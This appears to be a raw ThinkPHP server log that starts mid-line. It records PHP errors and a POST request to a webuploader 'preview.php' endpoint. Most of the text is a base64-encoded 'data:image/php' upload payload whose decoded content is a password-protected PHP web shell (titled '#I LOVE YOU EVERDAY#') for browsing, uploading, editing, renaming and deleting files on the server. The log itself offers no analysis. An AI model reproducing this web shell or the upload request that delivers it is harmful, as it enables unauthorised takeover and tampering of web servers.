d2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:05:44+08:00 ] 119.42.146.234 POST 59.110.137.245/web/dist/static/webuploader/0.1.5/server/preview.php [运行时间:0.002675s] [吞吐率:373.82req/s] [内存消耗:196.75kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'web', 2 => 'dist', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9j